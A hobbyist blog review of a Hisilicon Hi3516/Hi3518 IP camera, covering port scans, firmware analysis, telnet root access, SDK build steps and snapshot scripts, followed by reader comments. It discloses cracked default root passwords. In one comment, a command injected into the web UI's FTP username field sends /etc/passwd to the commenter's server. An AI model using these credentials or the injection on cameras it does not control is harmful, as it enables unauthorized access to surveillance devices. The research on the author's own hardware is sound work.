IPCAM review – IPR1631, Hi3516 (Hisilicon)


  • Ordered beginning August 2014 from www.camera2000.com
  • Delivered in late September 2014 (due to various customs problems – the camera is not sent from England – they come from Asia / China)



First, a port scan:

$ nmap -O 192.168.x.x

Starting Nmap 6.47 ( http://nmap.org ) at 2014-09-25 22:45 CEST

Nmap scan report for 192.168.x.x
Host is up (0.0032s latency).
Not shown: 996 closed ports

23/tcp open telnet
80/tcp open http
88/tcp open kerberos-sec
554/tcp open rtsp

MAC Address: 00:x:x:x:x:x (Unknown)
Device type: general purpose
Running: Linux 2.6.X|3.X

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5

Interestingly, the device has a open  Telnet port. From the firmware I could extract with binwalk the /etc/passwd file (with only one line – the root hash). John got the password after 10 minutes. Next step:

Shell Access


$ telnet 192.168.x.x
Trying 192.168.x.x...
Connected to 192.168.x.x.
Escape character is '^]'.

ipc login: root
Password: klv123
Welcome to HiLinux.
# id
uid=0(root) gid=0(root) groups=0(root)

Kernel messages:

# dmesg
Linux version 3.0.8 (pub@BVT-SDK-SERVER3) (gcc version 4.4.1 (Hisilicon_v100
   (gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) )
   #1 Fri Mar 15 13:03:09 CST 2013
CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00053177
CPU: VIVT data cache, VIVT instruction cache
Machine: hi3518
Memory policy: ECC disabled, Data cache writeback
AXI bus clock 220000000.
On node 0 totalpages: 18944
free_area_init_node: node 0, pgdat c053f608, node_mem_map c055d000
 Normal zone: 148 pages used for memmap
 Normal zone: 0 pages reserved
 Normal zone: 18796 pages, LIFO batch:3
pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
pcpu-alloc: [0] 0
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 18796
Kernel command line: mem=74M console=ttyAMA0,115200 root=/dev/mtdblock2
     rootfstype=jffs2 mtdparts=hi_sfc:1M(boot),2944K(kernel),10112K(rootfs),
PID hash table entries: 512 (order: -1, 2048 bytes)
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Memory: 74MB = 74MB total
Memory: 69540k/69540k available, 6236k reserved, 0K highmem
Virtual kernel memory layout:
 vector : 0xffff0000 - 0xffff1000 ( 4 kB)
 fixmap : 0xfff00000 - 0xfffe0000 ( 896 kB)
 DMA : 0xffc00000 - 0xffe00000 ( 2 MB)
 vmalloc : 0xc5000000 - 0xfe000000 ( 912 MB)
 lowmem : 0xc0000000 - 0xc4a00000 ( 74 MB)
 modules : 0xbf000000 - 0xc0000000 ( 16 MB)
 .init : 0xc0008000 - 0xc0029000 ( 132 kB)
 .text : 0xc0029000 - 0xc0517000 (5048 kB)
 .data : 0xc0518000 - 0xc053fc80 ( 160 kB)
 .bss : 0xc053fca4 - 0xc055c8e0 ( 116 kB)
SLUB: Genslabs=13, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
NR_IRQS:32 nr_irqs:32 32
sched_clock: 32 bits at 110MHz, resolution 9ns, wraps every 39045ms
Console: colour dummy device 80x30
Calibrating delay loop... 218.72 BogoMIPS (lpj=1093632)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
CPU: Testing write buffer coherency: ok
NET: Registered protocol family 16
Serial: AMBA PL011 UART driver
uart:0: ttyAMA0 at MMIO 0x20080000 (irq = 5) is a PL011 rev2
console [ttyAMA0] enabled
uart:1: ttyAMA1 at MMIO 0x20090000 (irq = 5) is a PL011 rev2
bio: create slab <bio-0> at 0
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
cfg80211: Calling CRDA to update world regulatory domain
Switching to clocksource timer1
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 4096 (order: 3, 32768 bytes)
TCP bind hash table entries: 4096 (order: 2, 16384 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP reno registered
UDP hash table entries: 256 (order: 0, 4096 bytes)
UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
NetWinder Floating Point Emulator V0.97 (double precision)
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
fuse init (API version 7.16)
yaffs: yaffs built Mar 15 2013 13:03:06 Installing.
msgmni has been set to 135
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered (default)
io scheduler cfq registered
brd: module loaded
loop: module loaded
Spi id table Version 1.22
Hisilicon Spi Flash Controller V350 Device Driver, Version 1.10
Spi(cs1) ID: 0xC2 0x20 0x18 0xC2 0x20 0x18
SPI FLASH start_up_mode is 3 Bytes
spi size: 0x16777216
chip num: 1
5 cmdlinepart partitions found on MTD device hi_sfc
Creating 5 MTD partitions on "hi_sfc":
0x000000000000-0x000000100000 : "boot"
0x000000100000-0x0000003e0000 : "kernel"
0x0000003e0000-0x000000dc0000 : "rootfs"
0x000000dc0000-0x000000f00000 : "config"
0x000000f00000-0x000000f10000 : "key"
Special nand id table Version 1.35
Hisilicon Nand Flash Controller V301 Device Driver, Version 1.10
Nand ID: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
No NAND device found.
Fixed MDIO Bus: probed
himii: probed
usbcore: registered new interface driver rt2500usb
usbcore: registered new interface driver rt73usb
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
hiusb-ehci hiusb-ehci.0: HIUSB EHCI
hiusb-ehci hiusb-ehci.0: new USB bus registered, assigned bus number 1
hiusb-ehci hiusb-ehci.0: irq 15, io mem 0x100b0000
hiusb-ehci hiusb-ehci.0: USB 0.0 started, EHCI 1.00
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
hiusb-ohci hiusb-ohci.0: HIUSB OHCI
hiusb-ohci hiusb-ohci.0: new USB bus registered, assigned bus number 2
hiusb-ohci hiusb-ohci.0: irq 16, io mem 0x100a0000
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 1 port detected
usbcore: registered new interface driver cdc_acm
cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters
usbcore: registered new interface driver cdc_wdm
Initializing USB Mass Storage driver...
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
usbcore: registered new interface driver ums-alauda
usbcore: registered new interface driver ums-datafab
usbcore: registered new interface driver ums-freecom
usbcore: registered new interface driver ums-isd200
usbcore: registered new interface driver ums-jumpshot
usbcore: registered new interface driver ums-sddr09
usbcore: registered new interface driver ums-sddr55
usbcore: registered new interface driver mdc800
mdc800: v0.7.5 (30/10/2000):USB Driver for Mustek MDC800 Digital Camera
mousedev: PS/2 mouse device common for all mice
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
TCP cubic registered
Initializing XFRM netlink socket
NET: Registered protocol family 10
NET: Registered protocol family 17
NET: Registered protocol family 15
lib80211: common routines for IEEE802.11 drivers
lib80211_crypt: registered algorithm 'NULL'
Registering the dns_resolver key type
registered taskstats version 1
drivers/rtc/hctosys.c: unable to open rtc device (rtc0)
VFS: Mounted root (jffs2 filesystem) on device 31:2.
Freeing init memory: 132K
udevd (504): /proc/504/oom_adj is deprecated, please use
   /proc/504/oom_score_adj instead.
ADDRCONF(NETDEV_UP): eth0: link is not ready
PHY: himii:01 - Link is Up - 100/Full
ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
hi_i2c init is ok!
sony i2c driver load
Kernel: ssp initial ok!
Hisilicon Media Memory Zone Manager
hi3518_base: module license 'Proprietary' taints kernel.
Disabling lock debugging due to kernel taint
Hisilicon UMAP device driver interface: v3.00
pa:84e00000, va:c5240000
load sys.ko for Hi3518...OK!
load viu.ko for Hi3518...OK!
load vpss.ko ....OK!
load vou.ko ....OK!
load venc.ko for Hi3518...OK!
load group.ko for Hi3518...OK!
load chnl.ko for Hi3518...OK!
load h264e.ko for Hi3518...OK!
load jpege.ko for Hi3518...OK!
load rc.ko for Hi3518...OK!
load region.ko ....OK!
load vda.ko ....OK!
hi_i2c init is ok!
adc init is ok!
i2c_motor init is ok!
Kernel: ssp initial ok!
ISP Mod init!
acodec inited!
Hisilicon Watchdog Timer: 0.01 initialized. default_margin=60 sec
   (nowayout= 0, nodeamon= 0)
Init hsdx ko OK
ADDRCONF(NETDEV_UP): eth0: link is not ready
PHY: himii:01 - Link is Up - 100/Full
ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
rtusb init rt2870 --->
usbcore: registered new interface driver rt2870


# free
 total used free shared buffers
 Mem: 69672 32072 37600 0 0
 Swap: 0 0 0
Total: 69672 32072 37600

Kernel Version

# uname -a
Linux ipc 3.0.8 #1 Fri Mar 15 13:03:09 CST 2013 armv5tejl GNU/Linux


# cat /proc/cpuinfo
Processor : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 218.72
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5

Hardware : hi3518
Revision : 0000
Serial : 0000000000000000

Open Ports

# netstat -tualn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0* LISTEN
tcp 0 0* LISTEN
tcp 0 0* LISTEN
tcp 0 0* LISTEN
tcp 0 0* LISTEN
tcp 0 0 :::23 :::* LISTEN
udp 0 0*
udp 0 0*

vs_server 1033 0 37u IPv4 1279 TCP *:5 (LISTEN)
vs_server 1033 0 36u IPv4 1278 TCP *:554 (LISTEN)
vs_server 1033 0 40u IPv4 1283 TCP *:80 (LISTEN)
vs_server 1033 0 41u IPv4 1281 TCP *:88 (LISTEN)
vs_server 1033 0 47u IPv4 1290 TCP *:1018 (LISTEN)
telnetd 527 0 3u IPv6 606 TCP *:23 (LISTEN)
vs_server 1033 0 39u IPv4 1280 UDP *:8002
vs_server 1033 0 49u IPv4 1378 UDP *:3702

Web Interface


RTSP Streams

for use with VLC (for example):

Full resolution
rtsp://192.168.x.x:554/11 – Full Resolution

Half resolutionrtsp://192.168.x.x:554/12 – Half Resolution

Mobile resolution
rtsp://192.168.x.x:554/13 – Mobile Resolution

Camera finally in place

Camera finally in place

Device Info

Camera Name: IPCAM
Serial Number: xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Hard Ver: 8100-imx222
Software Ver: V3.81.02.3896-X10-Build:20140920R



Firmeware update

  1. Login as Administrator
  2. Select [SYSTEM] tab
  3. Select [Initialize] menu
  4. Choose [Brower…] from Upgrade field – select Firmware file – press [Apply] – wait some minutes.


Firmware (V3.81.02.3896-X10-Build:20140920R)
hi3516-20140920022127.sw (13 MBytes)


How to build new packages/tools:

Make sure that your system uses the /bin/bash as default shell – otherwise the install scripts will not work.

  1. Download SDK (see bellow)
  2. Extract SDK: tar xzf Hi3518_SDK_V1.0.7.0.tgz
  3. Unpack SDK: cd Hi3518_SDK_V1.0.7.0 && ./sdk.unpack
  4. Install Toolchain: cd osdrv/toolchain/arm-hisiv100nptl-linux && chmod +x cross.install && ./cross.install
  5. Add Toolchain to PATH: echo "export PATH=/opt/hisi-linux-nptl/arm-hisiv100-linux/target/bin:\$PATH" >> ~/.bashrc
  6. Reload .bashrc: source ~/.bashrc
  7. Test for working cross compiler: cd ../../../mpp2/sample/ && make


SDK (V1.0.7.0)
Hi3518_SDK_V1.0.7.0.tgz (631 MBytes)

Hi3518_SDK_V1.x.x.x directory structure is as follows:
|-- sdk.cleanup    # SDK cleanup script
|-- sdk.unpack     # SDK expand the script
|-- osdrv          # store the operating system and associated drive directory
|   |-- busybox/busybox-1.16.1.tgz # busybox source tarball
|   |-- kernel/linux-3.0.y.tgz     # linux kernel source code
|   |-- uboot/u-boot-2010.06.tgz   # uboot source code
|   |-- toolchain/arm-*            # cross tool chain store directory
|   |-- tools/*                    # tools (source), such as mkfs.cramfs
|   `-- rootfs_scripts/rootfs.tgz  # root file system
|-- package        # store directory SDK various compression packages
|-- scripts        # store shell scripts directory
|-- mpp/mpp2       # stored media processing platform directory
    |-- component  # component source code
    |-- extdrv     # board-level peripheral driver source code
    |-- include    # external header files
    |-- ko         # kernel module
    |-- lib        # release version of the library and audio library
    |-- sample     # sample source code
    `-- tools      # media processing tools

Known Issues

  • [WebInterface] No camera view/stream with Chrome running under MAC OS.

Grab still images

Short script to grab still images over the Webinterface (grabing still images via rtsp doesn’t worked for me).


JPG_OUTPUT=snap-`date +%Y%m%d%H%M`.jpg
JPG_FILE=`wget -q -O - "${HOST_URL}/cgi-bin/hi3510/param.cgi?cmd=snap" | awk -F'"' '{print $2}'`

if [ ! -z "${JPG_FILE}" ]; then
  wget -q -O ${JPG_OUTPUT} "${HOST_URL}${JPG_FILE}"

Or with curl and alternate url:


JPG_OUTPUT=snap-`date +%Y%m%d%H%M`.jpg
JPG_FILE=`curl -s ${HOST_URL}/cgi-bin/hi3510/snap.cgi | cut -d \" -f2`

if [ ! -z "${JPG_FILE}" ]; then
  curl -s -o ${JPG_OUTPUT} ${HOST_URL}${JPG_FILE}

Some interessting links

There are 34 comments in this article:

  1. 10/8/2014Jon Smirl says:

    Likely this board. It says Hi3518 in the dmesg.


  2. 10/10/2014Игорь says:

    Как сделать так, что бы камера перезагружалась один раз в сутки в определенное время?

    How to make sure that the camera is rebooted once a day at a certain time?

  3. 10/10/2014NemoN says:

    Ordered this one too: http://www.aliexpress.com/item/720P-HD-Mega-Resolution-IP-Camera-Hi3518-DSP-1-4-CMOS-CCTV-security-Camera-Module-onvif/1753911908.html as playground.

  4. 10/10/2014NemoN says:

    Reboot question:

    crond is installed, but not activated:

    # which crond
    # which crontab
    # crontab -l
    crontab: chdir(/var/spool/cron/crontabs): No such file or directory

    You will need a crontab file, an init.d script to start crond at startup and it should work!

  5. 10/15/2014Игорь says:

    Thanks for the translation. Мy knowledge is hardly enough to do this. My cams: http://ru.aliexpress.com/item/1080P-WIFI-IP-camera-Sony-MX122-CMOS-onvif-TF-card-slot-1CH-audio-I-O-varifocal/1789428628.html

  6. 10/15/2014NemoN says:


    is installed in your camera, an SD card slot?
    If so, it would be possible to take a picture of the board?
    My camera has no SD card slot that is installed.

    Thank you

  7. 10/15/2014Igor says:

    My camera has no SD card slot that is installed. I can not to take a picture of the board (cameras is installed). I need reboot camera because it freeze often. Frezees the camera happens when the wi-fi connection is poor or lost. About this bug written here http://habrahabr.ru/post/219491/ (rus lang)

  8. 10/20/2014Igor says:

    Where I can check new firmware for this camera?

  9. 10/20/2014NemoN says:


    Good question. I have the info about a new firmware update from here: http://www.camera2000.com/faqen/?p=2441
    After the download link is not working, I have directly written the support. I got the file via mail.

  10. 12/9/2014Vic says:

    Hi, thanks for the info! I have this camera: http://www.aliexpress.com/item/1080P-WIFI-IP-camera-IPcam-Sony-MX122-CMOS-onvif2-3-TF-card-slot-1CH-audio-I/1820703896.html

    asked for the latest firmware and they send me the same file (hi3516-20140920022127.sw).

    This is my humble contribution (to “open ftp server” on the camera):
    tcpsvd -vE 21 ftpd

  11. 01/7/2015eugene says:

    Hi, I have the same camera IPS Camera:
    Linux version 3.0.8 (pub@BVT-SDK-SERVER3) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #1 Fri Mar 15 13:03:09 CST 2013
    Basically I want to save video on remote nfs server. And here are difficulties I have with it:
    As I see from spaghetti chinese style code from /bin/vs/* (which is link to /bin/vslocal) files

    # cat /bin/vs/mountsd
    mkdir -p /bin/vs/sd; mount -t vfat /dev/mmc/blk0/part1 /bin/vs/sd

    So now I know that it is looking for storage at /bin/vs/sd

    Next step I’m trying to do is nfsmount:
    # mount -t nfs /mnt/nfs01/ -o async,nfsvers=3,nolock,soft,intr,tcp

    where is my nfs server and /mnt/nfs1 is mount oint on camera. And it works, I can use mounted dir. And here is next quest: if making link from /mnt/nfs1 to /bin/vs/sd it just get unmounted without any error/dmesg/etc. Also you are not able to mount your nfs to /bin/vs/sd
    And in web interfase you do not have any tabs with nfs config.

    One more question: rtsp h264 streams ok, but where is mpeg4 stream? What is URL?
    I’ve tried to ask support (developers of this camera, but there are only sales, who can sale you more cameras.)

  12. 01/21/2015Mik says:


    By following other tutorial I lost two partitions (kernel and rootfs).
    By using this post I could get the boot partition (rebuild with sdk) and rootfs.
    But I can not seem to get the right device file to retrieve the video stream. I miss a lot of files and my IPcam is unusable.

    Is someone can give me a partition copy applications and configuration (mobimik_at_sfr.fr)?

    Thank you

  13. 01/21/2015Mik says:

    I forgot to mention, my processor is ARM926EJ-S

  14. 07/8/2015atomic says:

    Does somebody have this?

  15. 07/20/2015NemoN says:


  16. 07/20/2015Dmitry says:

    What a useful page!

    Am I right that the mentioned SDK is unable to do anything for ‘E’ flavour of hi3518 ?

    At least I’ve tried to make OSDRV_CROSS=arm-hisiv100nptl-linux CHIP=hi3518e all
    in osdrv dir
    and got
    ERROR: you should have specified the right CHIP(hi3518a or hi3518c)!

    Next, docs metnions two toolchains – one, arm-hisiv100nptl-linux , for uClibc, and the other arm-hisiv200-linux for glibc, but the second one is missing – at least after the Install Process described here I’m unable to find one. Right or I’m doing smth wrong?

  17. 07/20/2015NemoN says:

    Try the hi3518c target. I believe at least the compiled binaries are compatible!?

  18. 07/20/2015Dmitry says:

    NemoN, at least I could compile some simple programs and they run from telnet at 3518E (with “NetSurveillance WEB” firmware), right.

  19. 08/12/2015ipcam says:

    Does anybody have the latest Hi3518 SDK version: 1.0.a.0?

  20. 11/8/2015MikeB says:

    Hi Nemon,

    Did you initially pull the firmware off the device to run binwalk against it? If so how did you access it? Or did you just use the downloaded firmware upgrade file and run it against that?

    Thanks for the great write up!


  21. 12/10/2015NemoN says:

    Ii used the downloaded firmware file (from website) for the binwalk analysis…

  22. 09/5/2016hostmit says:

    Hello! I do have a camera or same HI3518 (Xiaomi Yi Smart Ants).

    It does provide only RTSP video stream. I need a way to get a photo (capturing first frame of RTSP stream gives me a delay).

    Could you check if any binary or shell/cgi script does this with your cam?

  23. 09/5/2016NemoN says:


    please read the complete Blogpost: (http://nemon.org/ipcam-ipr1631x/#Grab_still_images)

    This works for me.

  24. 09/28/2016hostmit says:

    There is no CGI scripts nor executable on Xiaomi Ants 🙁

  25. 09/28/2016hostmit says:

    Could you please share your CGI scritps and check what binary it does invoke, and share it as well

  26. 10/19/2016Vijay says:


    I followed your steps 1 to 3, but i get an error as below.

    /sdk.unpack: 2: ./sdk.unpack: source: not found
    ./sdk.unpack: 4: ./sdk.unpack: ECHO: not found
    ./sdk.unpack: 6: ./sdk.unpack: WARN: not found
    ./sdk.unpack: 7: ./sdk.unpack: WARN: not found
    ./sdk.unpack: 8: ./sdk.unpack: ECHO: not found
    ./sdk.unpack: 20: ./sdk.unpack: ECHO: not found
    ./sdk.unpack: 22: ./sdk.unpack: run_command_progress_float: not found
    ./sdk.unpack: 24: ./sdk.unpack: ECHO: not found
    ./sdk.unpack: 26: ./sdk.unpack: run_command_progress_float: not found
    ./sdk.unpack: 28: ./sdk.unpack: ECHO: not found
    ./sdk.unpack: 30: ./sdk.unpack: run_command_progress_float: not found
    ./sdk.unpack: 32: ./sdk.unpack: ECHO: not found
    ./sdk.unpack: 34: ./sdk.unpack: run_command_progress_float: not found
    ./sdk.unpack: 38: ./sdk.unpack: ECHO: not found
    ./sdk.unpack: 40: ./sdk.unpack: run_command_progress_float: not found

    Please let me know how to proceed.

    Thanks in advance. 🙂

  27. 10/19/2016NemoN says:

    @Vijay: Make sure that your system uses the /bin/bash as default shell – otherwise the install scripts will not work.

  28. 11/18/2016Wayne says:


    The script “sdk.unpack” is a bash specific script, however, the first line of the script is “#!/bin/sh” so even is your shell is bash, bash won’t execute as a “bash” shell. Set the first line to: “#!/bin/bash” and it will install correctly.

  29. 11/29/2016df says:

    Just got a “NexGadget IP Camera” from https://www.amazon.com/gp/product/B01FMDV9A4/ref=ya_st_dp_summary today and decided to root it for no real reason (probably to check for possible backdoors, I dunno).

    Under the web UI, there’s a section under “Alarm Settings” called “FTP Settings” where I guess snapshots get sent to if the alarm is triggered, or something.
    For the FTP host, I used the hostname of a Linux server of mine; For the user I put in:
    `head -1 /etc/passwd`
    and left the rest blank.
    Clicked “Submit” to save, then “Test” to test it out and:

    [root@b.unni.es ~]# nc -vl 21
    Connection from my.ip.cam.era port 21 [tcp/ftp] accepted
    220 what?
    530 nu uh
    USER vstarcam2015:MibfZOWwjOxCU:0:0:Administrator:/:/bin/sh

    (the 220 and 530 lines are me manually responding with the expected FTP server return codes so the remote FTP client doesn’t just disconnect)
    I gave “vstarcam2015:MibfZOWwjOxCU:0:0:Administrator:/:/bin/sh” to John and after a few minutes it cracked the password:

    [root@abox ~]# telnet my.ip.cam.era 23
    Trying my.ip.cam.era…
    Connected to my.ip.cam.era.
    Escape character is ‘^]’.

    (none) login: vstarcam2015
    Password: 20150602
    Welcome to HiLinux.

    Here’s the reason that `head` command above was executed:
    # cat /tmp/ftpupload.sh
    /bin/ftp -n</dev/null
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
    tcp 0 0 my.ip.cam.era:10080* LISTEN 428/encoder
    tcp 0 0* LISTEN 410/wifidaemon
    tcp 0 0* LISTEN 428/encoder
    tcp 0 0* LISTEN 375/telnetd
    tcp 0 0* LISTEN 428/encoder
    udp 0 0* 410/wifidaemon
    udp 0 0* 428/encoder
    udp 0 0* 428/encoder
    udp 0 0* 428/encoder
    udp 0 0* 428/encoder
    udp 0 0* 428/encoder
    udp 0 0* 410/wifidaemon
    # dmesg|head -1
    Linux version 3.0.8 (liuxiye@ubuntu) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #77 Tue Jun 23 10:02:32 CST 2015

    Anyways, the cross compiler in the SDK on this page worked for my IP camera too, enough to do what I wanted (which was compile strace).
    My camera also comes with an SD card slot, so I’ve got plenty of room to load up some other stuff too.

    Just thought I’d share this in case someone else has a similar device and needed the info.

  30. 11/29/2016df says:

    blah, my last comment got mutilated somewhere in the middle where I posted the vulnerable shell script’s code.
    Oh well, close enough.

  31. 12/16/2016kirchnet says:

    The install script works fine on my machine and I see the usual toolchain files. However, when I try to run the compiler I get this error:
    bash: /mnt/e/HiSDK/opt/hisi-linux-nptl/arm-hisiv100-linux/target/bin/arm-hisiv100nptl-linux-gcc: cannot execute binary file: Exec format error
    Same error for the other executables (…c++, …cpp, …strings etc) in the arm-hisiv100-linux/target/bin directory. Any suggestion? Should I have specified an x86 target somewhere in the install script?

  32. 12/25/2016Newbie says:

    Hi df. I’ve got xiaomi yi ants 720p , and i want to create rtspserver using this SDK. I got it from live555 but i dont understand how to setup the devicesource.cpp to let it open the mmap. Can you help me with this?

  33. 07/9/2017Martial says:

    Hi all .This site is great , very good info. I search everywhere the info regarding the different web interface (Powder Blue with Chinese English only ) this is different than the gray NVR style.
    So the Firmware look like V10. instead of V4.0.2R11 XXXX,XXXX , there is no Telnet port open and direct connect go to U-Boot but can t find the password anywhere.
    The device type/model is more like C6F0SgZ0N0P0L0 but can t find no info on this , It look not Main Stream.
    If anybody got info or firmware please let me know.
    Thank s

  34. 07/13/2017riogrande75 says:

    Very helpful. I succesfully compiled software for my cheap chinese IP doorbell (ATZ-DBV-03p). Obviously HiLinux (kernel/rootfs) is identical with most cams, application (npc) ist different because it’s a doorbell. So I will be able to run it without cloud-only functionality 🙂

Write a comment: